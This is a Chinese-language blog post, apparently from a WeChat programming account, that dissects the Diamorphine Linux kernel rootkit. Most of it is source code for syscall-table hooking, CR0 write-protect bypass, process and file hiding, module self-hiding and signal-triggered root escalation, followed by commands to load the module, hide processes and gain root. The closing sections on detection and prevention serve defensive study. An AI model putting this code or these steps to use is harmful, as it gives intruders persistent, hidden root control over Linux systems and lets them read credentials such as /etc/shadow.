一、这玩意儿到底是啥？
简单来说，这是一个**住在Linux内核里的"幽灵"**。它不像普通病毒那样在文件系统里晃悠，而是直接钻进操作系统最核心的内核层，相当于在你的系统心脏部位安了个"后门遥控器"。
它能干嘛？说出来挺吓人的：
- 让指定进程从
ps、top、ls /proc这些命令里彻底消失，就像从来没存在过 - 让文件名以特定前缀开头的文件凭空隐身，普通用户根本看不到
- 按个"魔法信号"就能让普通用户瞬间变成超级管理员（root）
- 自己把自己从系统模块列表里抹掉，连
lsmod都查不到它
最狠的是，它支持从2.6.x到6.x的几乎所有Linux内核版本，x86和ARM64通吃，兼容性做得相当"专业"。
二、技术底子：LKM是个啥？
要搞懂这玩意，先得明白LKM（Loadable Kernel Module，可加载内核模块）。
Linux内核设计得挺灵活，平时不需要把所有驱动都塞进内核占内存，而是需要用时再"插进去"，这就是模块机制。比如你插个U盘，系统就加载usb-storage模块。
问题在于：这个机制本来是干正经事的，但既然内核允许"热插拔"代码，攻击者就能利用这个接口，把自己的恶意代码当成"驱动"塞进去。一旦进去，它就拥有了内核态的最高权限，想干啥干啥。
三、核心手法：系统调用"掉包计"
这个工具的核心战术叫System Call Hooking（系统调用钩子）。听起来高大上，其实就是**"偷梁换柱"**。
3.1 系统调用是啥？
你在Linux里执行任何操作，比如查看进程（ps）、列出文件（ls）、结束程序（kill），最终都得经过系统调用这关。这是用户程序和内核之间的"海关"。
内核里有一张表，叫sys_call_table（系统调用表），存着所有系统调用的地址。比如：
getdents（141号）：读取目录内容的底层函数
3.2 怎么"调包"？
这个工具的核心代码逻辑大概是这样的流程：
1. 找到sys_call_table的内存地址（这是张只读的"神圣表格"）
2. 想办法把表格的写保护关掉（相当于撬开锁）
3. 把表格里原来的函数地址替换成自己的"假函数"
4. 重新上锁，假装什么都没发生
具体看代码里的关键操作：
// 保存原始的系统调用地址
orig_getdents = __sys_call_table[__NR_getdents];
orig_getdents64 = __sys_call_table[__NR_getdents64];
orig_kill = __sys_call_table[__NR_kill];
// 关掉内存写保护（x86架构就是操作cr0寄存器）
unprotect_memory();
// 替换为自己的函数
__sys_call_table[__NR_getdents] = (unsignedlong) hacked_getdents;
__sys_call_table[__NR_getdents64] = (unsignedlong) hacked_getdents64;
__sys_call_table[__NR_kill] = (unsignedlong) hacked_kill;
// 恢复写保护
protect_memory();
这就好比邮局里有个分拣员（系统调用），原本老老实实分发信件。现在攻击者把分拣员换了，换成自己人。表面上还在分拣，但遇到特定信件（比如查看某个敏感进程），就直接把信件扔掉，就当没看见。
四、四大"魔法"的实现细节
4.1 进程隐身术：给进程贴"隐身标签"
进程在内核里是用task_struct结构体表示的。这个结构体里有个flags字段。工具定义了一个特殊的标志位PF_INVISIBLE：
#define PF_INVISIBLE 0x10000000
当用户发送31号信号给某个进程时，代码会把该进程的flags字段异或上这个标志：
case SIGINVIS: // 31号信号
task->flags ^= PF_INVISIBLE;
break;
然后，在劫持的getdents函数里（这个函数负责读取/proc目录下的进程列表），代码会检查每个目录名（也就是PID）对应的进程是否带有PF_INVISIBLE标志：
if (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10))) {
// 如果进程是"隐身"的，就把这个目录项从结果里删掉
prev->d_reclen += dir->d_reclen; // 跳过这一项
}
通俗理解：相当于给进程戴了个"夜视仪头盔"，系统管理员用常规手段（ps、top）永远看不到它，因为查看进程列表的"窗口"被做了手脚。
4.2 文件隐身术：文件名"黑魔法"
除了进程，它还能隐藏文件。原理类似，但更简单粗暴。
它定义了一个"魔法前缀"（比如"diamorphine"，实际可以自定义）。当你在getdents里遍历目录项时：
if (namelen >= strlen(MAGIC_PREFIX) &&
memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {
// 文件名以魔法前缀开头？删了！
prev->d_reclen += dir->d_reclen;
}
效果：所有以这个前缀开头的文件或目录，用ls命令根本看不到，但程序本身还能正常访问。
4.3 权限提升：一键变身root
这是最让人后背发凉的功能。发送64号信号，瞬间获得root权限：
case SIGSUPER: // 64号信号
give_root();
break;
give_root()函数干了什么？它直接修改当前进程的凭证（credentials）：
structcred *newcreds = prepare_creds();
newcreds->uid.val = 0; // 用户ID设为0（root）
newcreds->gid.val = 0; // 组ID设为0（root）
newcreds->euid.val = 0; // 有效用户ID设为0
// ... 各种ID都设为0
commit_creds(newcreds);
在Linux内核里，uid=0就是上帝。这个操作相当于**直接伪造了一张"上帝身份证"**，而且内核承认这张身份证的有效性。
4.4 模块自毁：从系统里"蒸发"
普通lsmod命令怎么工作的？它读取的是内核里的模块链表。这个工具提供了一个"自毁按钮"——63号信号：
voidmodule_hide(void){
module_previous = THIS_MODULE->list.prev; // 记住前一个模块
list_del(&THIS_MODULE->list); // 把自己从链表里删掉
module_hidden = 1;
}
效果：模块还在内存里运行，但lsmod、/proc/modules都看不到它，就像人间蒸发了一样。
五、跨版本兼容的"生存智慧"
这个工具最"专业"的地方在于它的版本适配能力。Linux内核2.6到6.x变化巨大，很多内部API都变了。它是怎么活下来的？
5.1 条件编译大法
代码里充斥着大量的版本判断：
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
// 4.16版本后，系统调用接口改成了统一的pt_regs参数
typedef asmlinkage long(*t_syscall)(const struct pt_regs *);
#else
// 老版本是分散的参数
typedef asmlinkage long(*orig_getdents_t)(unsignedint, struct linux_dirent *, unsignedint);
#endif
5.2 找系统调用表的"土办法"和"洋办法"
新版本内核（4.4+）有导出符号sys_call_table，可以直接找。但老版本没有导出，咋办？
它用了个暴力搜索的"土办法"：
for (i = (unsignedlongint)sys_close; i < ULONG_MAX; i += sizeof(void *)) {
syscall_table = (unsignedlong *)i;
if (syscall_table[__NR_close] == (unsignedlong)sys_close)
return syscall_table; // 找到了！
}
原理是：sys_close函数的地址是已知的，而sys_call_table里__NR_close（关闭文件的系统调用号）位置存的就是sys_close的地址。在内核内存空间里暴力扫描，直到找到这个匹配点，就能确定表格基地址。
5.3 不同架构的内存保护
x86/x86_64架构通过CR0寄存器的WP位（Write Protect）控制内存写保护。修改系统调用表前要先清0这个位，改完再恢复。
ARM64架构更复杂，用的是update_mapping_prot函数修改页表属性，把只读内存临时改成可写。
六、代码和流程全景图
...
asmlinkage longhacked_kill(pid_t pid, int sig)
{
#endif
structtask_struct *task;
switch (sig) {
case SIGINVIS:
if ((task = find_task(pid)) == NULL)
return -ESRCH;
task->flags ^= PF_INVISIBLE;
break;
case SIGSUPER:
give_root();
break;
case SIGMODINVIS:
if (module_hidden) module_show();
else module_hide();
break;
default:
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
return orig_kill(pt_regs);
#else
return orig_kill(pid, sig);
#endif
}
return0;
}
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
staticinlinevoid
write_cr0_forced(unsignedlong val)
{
unsignedlong __force_order;
asmvolatile(
"mov %0, %%cr0"
: "+r"(val), "+m"(__force_order));
}
#endif
staticinlinevoid
protect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
write_cr0_forced(cr0);
#else
write_cr0(cr0);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
update_mapping_prot(__pa_symbol(start_rodata), (unsignedlong)start_rodata,
section_size, PAGE_KERNEL_RO);
#endif
}
staticinlinevoid
unprotect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
write_cr0_forced(cr0 & ~0x00010000);
#else
write_cr0(cr0 & ~0x00010000);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
update_mapping_prot(__pa_symbol(start_rodata), (unsignedlong)start_rodata,
section_size, PAGE_KERNEL);
#endif
}
staticint __init
diamorphine_init(void)
{
__sys_call_table = get_syscall_table_bf();
if (!__sys_call_table)
return-1;
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
cr0 = read_cr0();
#elif IS_ENABLED(CONFIG_ARM64)
update_mapping_prot = (void *)resolve_sym("update_mapping_prot");
start_rodata = (unsignedlong)resolve_sym("__start_rodata");
init_begin = (unsignedlong)resolve_sym("__init_begin");
#endif
module_hide();
tidy();
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsignedlong) hacked_getdents;
__sys_call_table[__NR_getdents64] = (unsignedlong) hacked_getdents64;
__sys_call_table[__NR_kill] = (unsignedlong) hacked_kill;
protect_memory();
return0;
}
staticvoid __exit
diamorphine_cleanup(void)
{
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsignedlong) orig_getdents;
__sys_call_table[__NR_getdents64] = (unsignedlong) orig_getdents64;
__sys_call_table[__NR_kill] = (unsignedlong) orig_kill;
protect_memory();
}
module_init(diamorphine_init);
module_exit(diamorphine_cleanup);
If you need the complete source code, please add the WeChat number (c17865354792)
[模块加载]
│
▼
[寻找sys_call_table] ──► [暴力扫描内存] 或 [解析符号]
│
▼
[关闭内存写保护] ──► [x86: 清CR0寄存器] / [ARM64: 改页表]
│
▼
[保存原始函数地址] ──► orig_getdents / orig_getdents64 / orig_kill
│
▼
[替换系统调用] ──► 指向自定义的hacked_*函数
│
▼
[恢复内存写保护]
│
▼
[隐藏自身模块] ──► 从内核模块链表中删除
│
▼
[清理痕迹] ──► 删除模块的section属性，防止被检测
运行时流程（以隐藏进程为例）：
用户执行 ps 命令
│
▼
调用getdents64系统调用
│
▼
[hacked_getdents64接管]
│
▼
先调用原始的orig_getdents64获取完整列表
│
▼
遍历每个目录项：
├── 检查是否是/proc目录（进程目录）
│ └── 是 ──► 检查该PID的task_struct是否带有PF_INVISIBLE标志
│ └── 是 ──► 从结果链表中删除这一项
│
└── 检查文件名是否以MAGIC_PREFIX开头
└── 是 ──► 从结果链表中删除这一项
│
▼
[返回过滤后的结果给用户]
七、功能测试指南
加载模块（植入Rootkit）
# 必须以root权限执行
sudo insmod diamorphine.ko
# 验证是否加载（注意：加载后模块会立即隐身！）
lsmod | grep diamorphine
# 输出为空（正常，因为它会自动隐藏自己）
测试文件隐藏功能
# 创建一个以 "diamorphine" 开头的文件（默认魔法前缀）
touch diamorphine_secret.txt
touch diamorphine_backup.log
touch normal_file.txt
# 查看当前目录（你会发现前两个文件"消失"了！）
ls -la
# 只能看到 normal_file.txt
# 但直接用cat可以访问（只是ls看不到）
cat diamorphine_secret.txt # 正常访问，只是看不见
测试进程隐藏功能
# 终端1：启动一个测试进程（比如sleep 1000）
sleep 1000 &
# 记录PID（假设是 1234）
echo $!
# 终端2：查看进程（应该能看到）
ps aux | grep sleep
# 终端1：发送信号31（SIGINVIS）隐藏该进程
kill -31 1234
# 终端2：再次查看（进程"消失"了）
ps aux | grep sleep
# top 里也看不到了
# 但进程仍在运行！只是被过滤掉了
测试权限提升（提权）
# 先切换到普通用户
su - testuser
whoami # 显示 testuser
id # uid=1001(testuser) gid=1001(testuser)
# 发送信号64（SIGSUPER）
kill -64 0
# 检查身份（瞬间变成root！）
id # uid=0(root) gid=0(root)
whoami # root
# 可以执行root命令了
cat /etc/shadow
测试模块显隐控制
# 发送信号63，让模块在lsmod中显现
kill -63 0
# 现在能看到模块了
lsmod | grep diamorphine
# diamorphine 16384 0 - Live 0x...
# 再发一次信号63，再次隐藏
kill -63 0
lsmod | grep diamorphine # 又看不见了
高级检测与验证
检查系统调用表是否被篡改
# 安装systemtap或类似工具（需要调试内核）
# 或者检查/proc/kallsyms中的系统调用地址
# 查看sys_call_table（如果内核允许）
sudo cat /proc/kallsyms | grep sys_call_table
# 对比kill、getdents的地址是否异常（需要专业工具）
检测隐藏进程（绕过Rootkit的过滤）
# 直接读取/proc目录（绕过被劫持的getdents）
ls /proc/ | grep -E '^[0-9]+$' | sort -n
# 或者使用unhide工具
sudo apt install unhide
sudo unhide proc # 暴力扫描/proc查找隐藏进程
# 查看内核线程（可能发现异常）
ps aux | awk '$8 ~ /^D/ {print $0}'# D状态进程
检查模块残留
# 查看内核日志（模块加载会留下痕迹）
dmesg | tail -20
# 或
sudo journalctl -k | grep diamorphine
# 检查sysfs（如果有的话）
ls /sys/module/ | grep diamorphine # 隐藏后可能看不到
安全卸载与清理
正常卸载流程
# 步骤1：先让模块显形（如果处于隐藏状态）
sudo kill -63 0
# 步骤2：确认模块可见
lsmod | grep diamorphine
# 步骤3：卸载模块
sudo rmmod diamorphine
# 步骤4：验证卸载
lsmod | grep diamorphine # 应该无输出
dmesg | tail -5 # 查看卸载日志
八、相关技术领域知识总结
通过分析这个工具，我们可以梳理出以下关键技术领域：
8.1 Linux内核机制
- 系统调用（System Call）：用户态与内核态的边界
- 进程调度：
task_struct结构体与进程标志位 - 信号机制：信号处理与自定义信号（31、63、64号信号）
8.2 内核编程技术
- LKM编程：
module_init、module_exit、模块生命周期 - 链表操作：Linux内核的双向链表
list_head - 内存操作：
kmalloc/kzalloc与copy_from_user/copy_to_user - 条件编译：内核版本适配的
LINUX_VERSION_CODE宏
8.3 安全攻防领域
- Rootkit技术：用户态Rootkit vs 内核态Rootkit
- DKOM（Direct Kernel Object Manipulation）：直接内核对象操作
- 系统调用劫持：SSDT（System Service Descriptor Table）Hook
9.4 架构知识
- x86/x64架构：保护模式、CR0-CR4控制寄存器、系统调用指令（syscall/sysenter）
- ARM64架构：异常级别（EL0-EL3）、页表属性、系统调用指令（svc）
九、怎么防？怎么查？
既然知道了原理，防御就有方向：
1. 检测系统调用表篡改
- 使用
kprobes或ftrace监控sys_call_table的修改 - 对比
sys_call_table中的函数地址与原始地址（需要内核符号表）
2. 检测隐藏进程
- 不依赖
/proc，直接读取内核内存中的task_struct链表（需要root）
3. 检测隐藏模块
4. 预防措施
- 使用
kernel.modules_disabled=1 sysctl参数（生产服务器推荐） - 部署EDR（端点检测与响应）工具，监控内核异常行为
总结
这个工具展示了Linux内核"可扩展性"的双刃剑特性。模块机制本是Linux的优雅设计，但在攻击者手里，它成了最深层的隐匿据点。
从技术学习角度，它是理解系统调用机制、内核内存管理、进程调度原理的绝佳案例。但从安全角度，这类工具的存在提醒我们：一旦内核被攻破，整个系统的信任根基就崩塌了。
Welcome to follow WeChat official account【程序猿编码】
